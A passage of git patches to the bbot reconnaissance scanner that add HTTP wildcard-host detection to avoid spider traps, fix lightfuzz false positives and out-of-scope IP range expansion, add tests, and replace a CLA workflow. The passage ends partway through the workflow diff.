d2fb5959f156a65088df780b1f771c628d6a69ff Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 21:32:38 -0400 Subject: [PATCH 778/912] Add HTTP wildcard host detection to prevent SPA spider traps Shared helper on WebHelper detects hosts that return the same response regardless of URL path (SPAs, catch-all redirects, soft-404s). Probes two distinct random paths + root via HttpCompare with auto-filtered dynamic content. Cached per (scheme, host, port), 3 requests per host. Consumers: wayback skips CDX query, webbrute skips fuzzing, excavate suppresses URL_UNVERIFIED (other extractions still run). --- bbot/core/helpers/diff.py | 7 +- bbot/core/helpers/web/web.py | 70 ++++++++++++++++++- bbot/modules/internal/excavate.py | 26 +++++++ bbot/modules/wayback.py | 6 ++ bbot/modules/webbrute.py | 8 +++ bbot/test/test_step_1/test_web.py | 43 ++++++++++++ .../module_tests/test_module_excavate.py | 41 +++++++++++ .../module_tests/test_module_wayback.py | 24 +++++++ .../module_tests/test_module_webbrute.py | 32 +++++++++ 9 files changed, 255 insertions(+), 2 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 9c6e36920b..73634d40da 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -22,9 +22,13 @@ def __init__( cookies=None, timeout=10, on_baseline_ready=None, + baseline_url_2=None, ): self.parent_helper = parent_helper self.baseline_url = baseline_url + # When set, the second baseline sample uses this URL instead of self.baseline_url, + # so the auto-filter captures inter-URL variation (used by wildcard detection). + self.baseline_url_2 = baseline_url_2 self.include_cache_buster = include_cache_buster self.method = method self.data = data @@ -70,7 +74,8 @@ async def _baseline(self): if self.include_cache_buster: get_params.update(self.gen_cache_buster()) - url_2 = self.parent_helper.add_get_params(self.baseline_url, get_params).geturl() + second_target = self.baseline_url_2 if self.baseline_url_2 else self.baseline_url + url_2 = self.parent_helper.add_get_params(second_target, get_params).geturl() baseline_2 = await self.parent_helper.request( url_2, headers=self.merge_dictionaries( diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c597ee7905..2411e9a988 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -13,7 +13,11 @@ from blasthttp import HTTPStatusError from bbot.core.helpers.misc import truncate_filename, bytes_to_human, get_exception_chain -from bbot.errors import WordlistError, WebError +from cachetools import LRUCache + +from bbot.core.helpers.async_helpers import NamedLock +from bbot.core.helpers.diff import HttpCompare +from bbot.errors import HttpCompareError, WordlistError, WebError warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning) warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning) @@ -82,6 +86,8 @@ def __init__(self, parent_helper): self._user_agent = f"{ua} {ua_suffix}".strip() self._custom_headers = self.web_config.get("http_headers", {}) self._custom_cookies = self.web_config.get("http_cookies", {}) + self._wildcard_cache = LRUCache(maxsize=50000) + self._wildcard_locks = NamedLock(max_size=50000) @property def client(self): @@ -654,6 +660,68 @@ def beautifulsoup( log.debug(f"Error parsing beautifulsoup: {e}") return False + async def is_http_wildcard_host(self, scheme, host, port): + """Detect whether a host returns the same response regardless of URL path. + + Probes two random paths and the root URL via HttpCompare. Cached per + (scheme, host, port); 3 HTTP requests on first call, instant thereafter. + + Returns: + HttpCompare -- host is a wildcard responder (cached baseline). + False -- host distinguishes responses by path. + None -- probe failed after retry; treat as unknown. + """ + key = (scheme, host, port) + if key in self._wildcard_cache: + return self._wildcard_cache[key] + async with self._wildcard_locks.lock(key): + if key in self._wildcard_cache: + return self._wildcard_cache[key] + result = await self._probe_wildcard_host(scheme, host, port) + if result == "retry": + log.debug(f"is_http_wildcard_host: first probe failed for {host}:{port}; retrying once") + result = await self._probe_wildcard_host(scheme, host, port) + if result == "retry": + log.debug(f"is_http_wildcard_host: retry also failed for {host}:{port}; caching as unknown") + self._wildcard_cache[key] = None + return None + self._wildcard_cache[key] = result + return result + + async def _probe_wildcard_host(self, scheme, host, port): + """Single probe attempt. Returns HttpCompare (wildcard), False (not wildcard), or "retry".""" + baseline_url_1 = ( + f"{scheme}://{host}:{port}/{self.parent_helper.rand_string(12)}/{self.parent_helper.rand_string(8)}" + ) + baseline_url_2 = ( + f"{scheme}://{host}:{port}/{self.parent_helper.rand_string(12)}/{self.parent_helper.rand_string(8)}" + ) + cmp = HttpCompare( + baseline_url_1, + self.parent_helper, + allow_redirects=False, + timeout=10, + baseline_url_2=baseline_url_2, + ) + try: + await cmp._baseline() + except HttpCompareError as e: + log.debug(f"is_http_wildcard_host: baseline failed for {host}:{port}: {e}") + return "retry" + root_url = f"{scheme}://{host}:{port}/" + try: + root_match, root_reasons, _, _ = await cmp.compare(root_url) + except HttpCompareError as e: + log.debug(f"is_http_wildcard_host: root probe failed for {host}:{port}: {e}") + return "retry" + if not root_match: + log.debug( + f"is_http_wildcard_host: {host}:{port} root distinct from random-path baseline ({root_reasons}); not a wildcard" + ) + return False + log.verbose(f"is_http_wildcard_host: {scheme}://{host}:{port} is an HTTP wildcard responder") + return cmp + def response_to_json(self, response): """ Convert web response to JSON object, to a JSON-serializable dict. diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index b1cd810ea6..97d061759b 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -303,6 +303,9 @@ async def report( Returns: None """ + if event_type == "URL_UNVERIFIED" and await self.excavate._host_is_http_wildcard(event): + return + # If a description is not set and is needed, provide a basic one if event_type == "FINDING": if "description" not in event_data.keys(): @@ -407,6 +410,29 @@ def _is_archived(self, event): """Check if an event represents archived wayback content.""" return isinstance(event.data, dict) and "archive_url" in event.data + async def _host_is_http_wildcard(self, event): + """True if this event's host is an HTTP wildcard responder. Memoized on the event.""" + cached = getattr(event, "_excavate_host_is_http_wildcard", None) + if cached is not None: + return cached + verdict = False + try: + response_url = (event.data or {}).get("url", "") if isinstance(event.data, dict) else "" + if response_url: + parsed = urlparse(response_url) + host = parsed.hostname + if host: + port = parsed.port or (443 if parsed.scheme == "https" else 80) + cmp = await self.helpers.is_http_wildcard_host(parsed.scheme, host, port) + verdict = cmp not in (False, None) + except Exception as e: + self.debug(f"_host_is_http_wildcard: error checking {event}: {e}") + try: + event._excavate_host_is_http_wildcard = verdict + except (AttributeError, TypeError): + pass + return verdict + def _event_host(self, event): """Get the effective host from an event. diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 3836349d82..c50e92f26d 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -170,6 +170,12 @@ async def handle_event(self, event): await self._handle_url_event(event) return + host = str(event.host) + cmp = await self.helpers.is_http_wildcard_host("https", host, 443) + if cmp not in (False, None): + self.debug(f"Skipping wayback query for {host}: HTTP wildcard responder") + return + query = self.make_query(event) results, interesting_files = await self.query(query) for result, event_type in results: diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index b3e9631ccf..4b6758ecf0 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -102,6 +102,14 @@ async def filter_event(self, event): if "endpoint" in event.tags: self.debug(f"rejecting URL [{event.url}] because we don't fuzz endpoints") return False + p = event.parsed_url + scheme = p.scheme + host = p.hostname + port = p.port or (443 if scheme == "https" else 80) + if host: + cmp = await self.helpers.is_http_wildcard_host(scheme, host, port) + if cmp not in (False, None): + return False, "host is an HTTP wildcard responder" return True def _build_batch_headers(self): diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 2c31e17a5d..abf07243d1 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -646,3 +646,46 @@ def handler(request): assert seen_auth == ["Bearer k1", "Bearer k1", "Bearer k2"] await scan._cleanup() + + +@pytest.mark.asyncio +async def test_is_http_wildcard_host(bbot_scanner): + """Test is_http_wildcard_host caching, retry, and return value semantics.""" + scan = bbot_scanner() + await scan._prep() + + web = scan.helpers.web + probe_results = [] + + async def mock_probe(scheme, host, port): + return probe_results.pop(0) + + web._probe_wildcard_host = mock_probe + + # wildcard host: probe returns a truthy sentinel + probe_results.append("WILDCARD_CMP") + result = await web.is_http_wildcard_host("https", "spa.example.com", 443) + assert result == "WILDCARD_CMP" + # cached: no more probe calls needed + result2 = await web.is_http_wildcard_host("https", "spa.example.com", 443) + assert result2 == "WILDCARD_CMP" + + # non-wildcard host: probe returns False + probe_results.append(False) + result = await web.is_http_wildcard_host("https", "normal.example.com", 443) + assert result is False + + # retry once on first failure, succeed on second + probe_results.extend(["retry", "WILDCARD_RETRY"]) + result = await web.is_http_wildcard_host("https", "flaky.example.com", 443) + assert result == "WILDCARD_RETRY" + + # both attempts fail: caches None + probe_results.extend(["retry", "retry"]) + result = await web.is_http_wildcard_host("https", "down.example.com", 443) + assert result is None + # cached as None + result2 = await web.is_http_wildcard_host("https", "down.example.com", 443) + assert result2 is None + + await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 9b7d1a7ab5..e7910cc4ad 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1883,3 +1883,44 @@ def check(self, module_test, events): names = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} assert "action_first" in names, f"missing action-first form field; got {sorted(names)}" assert "method_first" in names, f"missing method-first form field; got {sorted(names)}" + + +class TestExcavateHttpWildcardSkipsUrls(ModuleTestBase): + """On an HTTP wildcard host, excavate should suppress URL_UNVERIFIED but still extract DNS_NAMEs.""" + + targets = ["http://127.0.0.1:8888/", "test.notreal"] + modules_overrides = ["excavate", "http"] + config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}} + + html_body = """ + link + bare hostname: extracted.test.notreal + """ + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": self.html_body, "status": 200}, + ) + + async def setup_after_prep(self, module_test): + async def mock_wildcard(scheme, host, port): + if host == "127.0.0.1": + return True + return False + + module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard + await module_test.mock_dns({"extracted.test.notreal": {"A": ["127.0.0.88"]}}) + + def check(self, module_test, events): + excavate_urls = [ + e + for e in events + if e.type == "URL_UNVERIFIED" and str(e.module) == "excavate" and "should-be-suppressed" in e.url + ] + assert len(excavate_urls) == 0, ( + f"Excavate should suppress URL_UNVERIFIED on HTTP wildcard host, got: {[e.url for e in excavate_urls]}" + ) + assert any(e.type == "DNS_NAME" and e.data == "extracted.test.notreal" for e in events), ( + "Excavate should still extract DNS_NAMEs from HTTP wildcard host responses" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index a66f53c30b..a965cc1729 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -666,3 +666,27 @@ def check(self, module_test, events): assert len(http_responses) == 1, ( f"Expected 1 archived HTTP_RESPONSE after 429 retry, got {len(http_responses)}" ) + + +class TestWaybackWildcardSkip(ModuleTestBase): + """When the target host is an HTTP wildcard, wayback should skip the CDX query entirely.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + + async def setup_after_prep(self, module_test): + async def mock_wildcard(scheme, host, port): + return True + + module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard + # CDX response that should NOT be queried + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], ["http://asdf.blacklanternsecurity.com"]], + ) + + def check(self, module_test, events): + assert not any(e.data == "asdf.blacklanternsecurity.com" for e in events), ( + "Wayback should have skipped CDX query for wildcard host" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py index 5b6b067f91..c85bdd28e0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py @@ -166,3 +166,35 @@ def check(self, module_test, events): if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute" and ("admin" in e.url or "secret" in e.url) ] assert len(waf_hits) == 0, f"webbrute should filter WAF block pages, but got: {[e.url for e in waf_hits]}" + + +class TestWebBruteWildcardSkip(ModuleTestBase): + """When the host is an HTTP wildcard, webbrute should skip fuzzing entirely.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "webbrute" + test_wordlist = ["admin", "secret"] + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}} + modules_overrides = ["webbrute", "http"] + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/admin"}, + respond_args={"response_data": "alive admin page"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": "alive"}, + ) + + async def setup_after_prep(self, module_test): + async def mock_wildcard(scheme, host, port): + return True + + module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard + + def check(self, module_test, events): + webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"] + assert len(webbrute_urls) == 0, ( + f"webbrute should not fuzz wildcard hosts, but emitted: {[e.url for e in webbrute_urls]}" + ) From b386ce375409cc9f7fd22835971a8760320fcd57 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 21:43:59 -0400 Subject: [PATCH 779/912] Use event.parsed_url instead of manual urlparse in excavate wildcard check --- bbot/modules/internal/excavate.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 97d061759b..d6ab5dcf99 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -417,14 +417,12 @@ async def _host_is_http_wildcard(self, event): return cached verdict = False try: - response_url = (event.data or {}).get("url", "") if isinstance(event.data, dict) else "" - if response_url: - parsed = urlparse(response_url) - host = parsed.hostname - if host: - port = parsed.port or (443 if parsed.scheme == "https" else 80) - cmp = await self.helpers.is_http_wildcard_host(parsed.scheme, host, port) - verdict = cmp not in (False, None) + p = event.parsed_url + host = p.hostname + if host: + port = p.port or (443 if p.scheme == "https" else 80) + cmp = await self.helpers.is_http_wildcard_host(p.scheme, host, port) + verdict = cmp not in (False, None) except Exception as e: self.debug(f"_host_is_http_wildcard: error checking {event}: {e}") try: From 4bf0dbf8bf670abe42aa536a626e88a900bd64e9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 21:45:37 -0400 Subject: [PATCH 780/912] Rename cmp to descriptive names, drop unnecessary per-event memo --- bbot/core/helpers/web/web.py | 8 ++++---- bbot/modules/internal/excavate.py | 27 ++++++++------------------- bbot/modules/wayback.py | 4 ++-- bbot/modules/webbrute.py | 4 ++-- 4 files changed, 16 insertions(+), 27 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 2411e9a988..298b6b3c3a 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -696,7 +696,7 @@ async def _probe_wildcard_host(self, scheme, host, port): baseline_url_2 = ( f"{scheme}://{host}:{port}/{self.parent_helper.rand_string(12)}/{self.parent_helper.rand_string(8)}" ) - cmp = HttpCompare( + compare = HttpCompare( baseline_url_1, self.parent_helper, allow_redirects=False, @@ -704,13 +704,13 @@ async def _probe_wildcard_host(self, scheme, host, port): baseline_url_2=baseline_url_2, ) try: - await cmp._baseline() + await compare._baseline() except HttpCompareError as e: log.debug(f"is_http_wildcard_host: baseline failed for {host}:{port}: {e}") return "retry" root_url = f"{scheme}://{host}:{port}/" try: - root_match, root_reasons, _, _ = await cmp.compare(root_url) + root_match, root_reasons, _, _ = await compare.compare(root_url) except HttpCompareError as e: log.debug(f"is_http_wildcard_host: root probe failed for {host}:{port}: {e}") return "retry" @@ -720,7 +720,7 @@ async def _probe_wildcard_host(self, scheme, host, port): ) return False log.verbose(f"is_http_wildcard_host: {scheme}://{host}:{port} is an HTTP wildcard responder") - return cmp + return compare def response_to_json(self, response): """ diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index d6ab5dcf99..e55fe6224f 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -411,25 +411,14 @@ def _is_archived(self, event): return isinstance(event.data, dict) and "archive_url" in event.data async def _host_is_http_wildcard(self, event): - """True if this event's host is an HTTP wildcard responder. Memoized on the event.""" - cached = getattr(event, "_excavate_host_is_http_wildcard", None) - if cached is not None: - return cached - verdict = False - try: - p = event.parsed_url - host = p.hostname - if host: - port = p.port or (443 if p.scheme == "https" else 80) - cmp = await self.helpers.is_http_wildcard_host(p.scheme, host, port) - verdict = cmp not in (False, None) - except Exception as e: - self.debug(f"_host_is_http_wildcard: error checking {event}: {e}") - try: - event._excavate_host_is_http_wildcard = verdict - except (AttributeError, TypeError): - pass - return verdict + """True if this event's host is an HTTP wildcard responder.""" + p = event.parsed_url + host = p.hostname + if not host: + return False + port = p.port or (443 if p.scheme == "https" else 80) + http_wildcard = await self.helpers.is_http_wildcard_host(p.scheme, host, port) + return http_wildcard not in (False, None) def _event_host(self, event): """Get the effective host from an event. diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index c50e92f26d..84523bf780 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -171,8 +171,8 @@ async def handle_event(self, event): return host = str(event.host) - cmp = await self.helpers.is_http_wildcard_host("https", host, 443) - if cmp not in (False, None): + http_wildcard = await self.helpers.is_http_wildcard_host("https", host, 443) + if http_wildcard not in (False, None): self.debug(f"Skipping wayback query for {host}: HTTP wildcard responder") return diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 4b6758ecf0..b0c627ea90 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -107,8 +107,8 @@ async def filter_event(self, event): host = p.hostname port = p.port or (443 if scheme == "https" else 80) if host: - cmp = await self.helpers.is_http_wildcard_host(scheme, host, port) - if cmp not in (False, None): + http_wildcard = await self.helpers.is_http_wildcard_host(scheme, host, port) + if http_wildcard not in (False, None): return False, "host is an HTTP wildcard responder" return True From b87e5ae75901f8b2a3e94fa14707de56986d1e97 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 22:14:54 -0400 Subject: [PATCH 781/912] Fix lightfuzz false positives on decimal IDs and CDN cookies - Crypto: skip digit-only values in keystream-reuse detection (they're decimal IDs misread as hex, not ciphertexts) - Add nlbi_ (Incapsula load balancer) to parameter_blacklist_prefixes --- bbot/defaults.yml | 1 + bbot/modules/lightfuzz/submodules/crypto.py | 6 ++++++ .../module_tests/test_module_lightfuzz.py | 12 ++++++++++++ 3 files changed, 19 insertions(+) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index a895b08387..47c6a39f51 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -324,6 +324,7 @@ parameter_blacklist_prefixes: - f5avr - incap_ - visid_incap_ + - nlbi_ - AWSALB - utm_ - ApplicationGatewayAffinity diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 29312d7f0d..085589c1d5 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -323,6 +323,12 @@ def _collect_keystream_candidates(self, probe_value): # plaintext, so restricting to hex eliminates that class of FP. if encoding != "hex": continue + # Digit-only strings (e.g. "7276383284") are valid hex but are almost + # certainly plain decimal IDs (account numbers, zip codes, etc.). Their + # hex-decoded bytes XOR to small values that trivially pass the ascii_score + # threshold, producing false keystream-reuse findings. + if value.isdigit(): + continue if len(decoded) < 3: continue if decoded in seen_bytes: diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d610cc38a8..e0f00e5212 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -5027,6 +5027,18 @@ def test_keystream_fp_sibling_form_fields_incremental(): assert not c.results, f"FP on sibling sequential hex form fields: {c.results}" +def test_keystream_fp_decimal_account_numbers(): + """Digit-only parameter values (account numbers, zip codes, etc.) are valid + hex but are plain decimal IDs. Their decoded bytes XOR to small values that + trivially pass the ascii_score threshold.""" + c = _make_crypto_for_keystream( + "7276383284", + additional_params={"AccountName": "3767190588"}, + ) + c.detect_keystream_reuse("7276383284") + assert not c.results, f"FP on decimal account numbers: {c.results}" + + # -- True positives: MUST fire -- From 0d2f266f11ac41abc4c93a51fff51b23c02f54ec Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 22:20:25 -0400 Subject: [PATCH 782/912] Mock wildcard detection in special URL scope test --- bbot/test/test_step_1/test_manager_scope_accuracy.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 84a011acc9..240a97be6b 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -843,6 +843,11 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver): scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888" scan.modules["dockerhub"].api_url = "http://127.0.0.1:8888/v2" + async def mock_wildcard(*args, **kwargs): + return False + + scan.helpers.web.is_http_wildcard_host = mock_wildcard + from bbot.modules.base import BaseModule class DummyModule(BaseModule): From b04f2bce3545fa3f2db513a6dd948e3cf5c5e37f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 23:21:26 -0400 Subject: [PATCH 783/912] Fix wildcard check for non-URL events, mock in test base --- bbot/modules/internal/excavate.py | 4 +++- bbot/test/test_step_2/module_tests/base.py | 6 ++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index e55fe6224f..717ccaa646 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -412,7 +412,9 @@ def _is_archived(self, event): async def _host_is_http_wildcard(self, event): """True if this event's host is an HTTP wildcard responder.""" - p = event.parsed_url + p = getattr(event, "parsed_url", None) + if p is None: + return False host = p.hostname if not host: return False diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 448c12ab09..c583d948ae 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -108,6 +108,8 @@ async def module_test( await module_test.scan._prep() self.log.debug("Mocking DNS") await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) + self.log.debug("Disabling HTTP wildcard detection for test") + module_test.scan.helpers.web.is_http_wildcard_host = self._mock_http_wildcard self.log.debug("Executing setup_after_prep()") await self.setup_after_prep(module_test) self.log.debug("Starting scan") @@ -170,6 +172,10 @@ async def setup_before_prep(self, module_test): async def setup_after_prep(self, module_test): pass + @staticmethod + async def _mock_http_wildcard(*args, **kwargs): + return False + async def wait_for_port_open(self, port): while not await self.is_port_open("localhost", port): self.log.verbose(f"Waiting for port {port} to be open...") From 3d9fb23be600f06b4626cadce8ed418b646b2dd4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 17:24:58 -0400 Subject: [PATCH 784/912] Skip IP_RANGE enumeration for out-of-scope ranges in speculate Prevents speculate from expanding out-of-scope CIDRs (e.g. from SPF records) into individual IP_ADDRESS events that no downstream module can use. Children land at distance+1, so enumerating a range beyond search_distance just produces unreachable pipeline churn. --- bbot/modules/internal/speculate.py | 5 +- .../module_tests/test_module_speculate.py | 50 +++++++++++++++++++ 2 files changed, 53 insertions(+), 2 deletions(-) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index fb680ab230..bdfcef95eb 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -75,8 +75,9 @@ async def handle_event(self, event): event_in_scope_distance = event.scope_distance <= (self.scan.scope_search_distance + 1) speculate_open_ports = self.emit_open_ports and event_in_scope_distance - # generate individual IP addresses from IP range - if event.type == "IP_RANGE": + # generate individual IP addresses from IP range (only within search distance; + # children land at distance+1, so out-of-range CIDRs produce unreachable churn) + if event.type == "IP_RANGE" and event.scope_distance <= self.scan.scope_search_distance: net = ipaddress.ip_network(event.data) num_ips = net.num_addresses ip_range_max_hosts = self.config.get("ip_range_max_hosts", 65536) diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index fadb55c929..d0446dcd3b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -81,6 +81,56 @@ def check(self, module_test, events): ) +class TestSpeculate_OutOfScopeIPRange(ModuleTestBase): + """Out-of-scope IP ranges from SPF (or any source) should not be enumerated into individual IPs.""" + + targets = ["evilcorp.com"] + modules_overrides = ["speculate"] + config_overrides = {"dns": {"minimal": False}} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "evilcorp.com": { + "A": ["127.0.254.1"], + "TXT": ['"v=spf1 ip4:192.168.0.0/24 ~all"'], + }, + } + ) + + from bbot.modules.base import BaseModule + + class IPCollector(BaseModule): + _name = "ip_collector" + watched_events = ["IP_ADDRESS"] + scope_distance_modifier = 10 + accept_dupes = True + + async def setup(self): + self.events = [] + return True + + async def handle_event(self, event): + self.events.append(event) + + collector = IPCollector(module_test.scan) + await collector.setup() + module_test.scan.modules["ip_collector"] = collector + + def check(self, module_test, events): + import ipaddress + + net = ipaddress.ip_network("192.168.0.0/24") + speculated_ips = [ + e + for e in module_test.scan.modules["ip_collector"].events + if e.type == "IP_ADDRESS" and ipaddress.ip_address(e.data) in net + ] + assert len(speculated_ips) == 0, ( + f"speculate enumerated {len(speculated_ips)} IPs from out-of-scope IP_RANGE 192.168.0.0/24" + ) + + class TestSpeculate_OpenPorts_Portscanner(TestSpeculate_OpenPorts): targets = ["evilcorp.com"] modules_overrides = ["speculate", "certspotter", "portscan"] From 8faf12e7081c081d7d1ecc25dfca7473462543f3 Mon Sep 17 00:00:00 2001 From: aconite33 Date: Fri, 12 Jun 2026 16:15:19 -0600 Subject: [PATCH 785/912] Replace CLA workflow with centralized reusable workflow Replaces the full inline CLA workflow with a thin caller that references the reusable workflow in blacklanternsecurity/.github. CLA logic is now maintained in one place across all BLS repos. This also fixes the bug where org members (e.g. liquidsec) were flagged as unsigned when they committed to an external contributor's PR (#3144). Depends on: blacklanternsecurity/.github#1 --- .github/workflows/cla.yml | 92 ++------------------------------------- 1 file changed, 3 insertions(+), 89 deletions(-) diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index ecb38fc933..1c0a1b7c82 100644 --- a/.github/workflows/cla.yml +++ b/.github/workflows/cla.yml @@ -5,93 +5,7 @@ on: pull_request_target: types: [opened, closed, synchronize] -permissions: - pull-requests: write - statuses: write - jobs: - CLAAssistant: - runs-on: ubuntu-latest - steps: - - name: Generate token from GitHub App - id: app-token - uses: actions/create-github-app-token@v3 - with: - app-id: ${{ secrets.APP_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - owner: blacklanternsecurity - - - name: Check all committers against org and allowlist - id: cla-check - env: - GH_TOKEN: ${{ steps.app-token.outputs.token }} - run: | - if [ "${{ github.event_name }}" = "pull_request_target" ]; then - PR_NUM="${{ github.event.pull_request.number }}" - else - PR_NUM="${{ github.event.issue.number }}" - fi - - COMMITTERS=$(gh api "repos/${{ github.repository }}/pulls/$PR_NUM/commits" --paginate --jq '.[].author.login' | sort -u) - ALL_EXEMPT=true - - for LOGIN in $COMMITTERS; do - # treat commits with no associated GitHub login as non-exempt - if [ -z "$LOGIN" ] || [ "$LOGIN" = "null" ]; then - echo "Unknown committer (no GitHub login) — not exempt" - ALL_EXEMPT=false - break - fi - - EXEMPT=false - - # check if account type is Bot (GitHub App accounts) - AUTHOR_TYPE=$(gh api "users/${LOGIN}" --jq '.type' 2>/dev/null || echo "Unknown") - if [ "$AUTHOR_TYPE" = "Bot" ]; then - echo "$LOGIN is a Bot account — exempt" - EXEMPT=true - fi - - # check org membership - if [ "$EXEMPT" = "false" ]; then - if gh api "orgs/blacklanternsecurity/members/$LOGIN" > /dev/null 2>&1; then - echo "$LOGIN is an org member — exempt" - EXEMPT=true - fi - fi - - if [ "$EXEMPT" = "false" ]; then - echo "$LOGIN is not exempt — CLA required" - ALL_EXEMPT=false - break - fi - done - - echo "all_exempt=$ALL_EXEMPT" >> "$GITHUB_OUTPUT" - - - name: Skip CLA when all committers are exempt - if: steps.cla-check.outputs.all_exempt == 'true' && github.event_name == 'pull_request_target' - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - gh api --method POST "repos/${{ github.repository }}/statuses/${{ github.event.pull_request.head.sha }}" \ - -f state=success \ - -f context="CLAAssistant" \ - -f description="CLA check skipped — all committers are org members or bots" - - - name: "CLA Assistant" - if: | - (steps.cla-check.outputs.all_exempt != 'true') && - ((github.event.comment.body == 'recheck' || 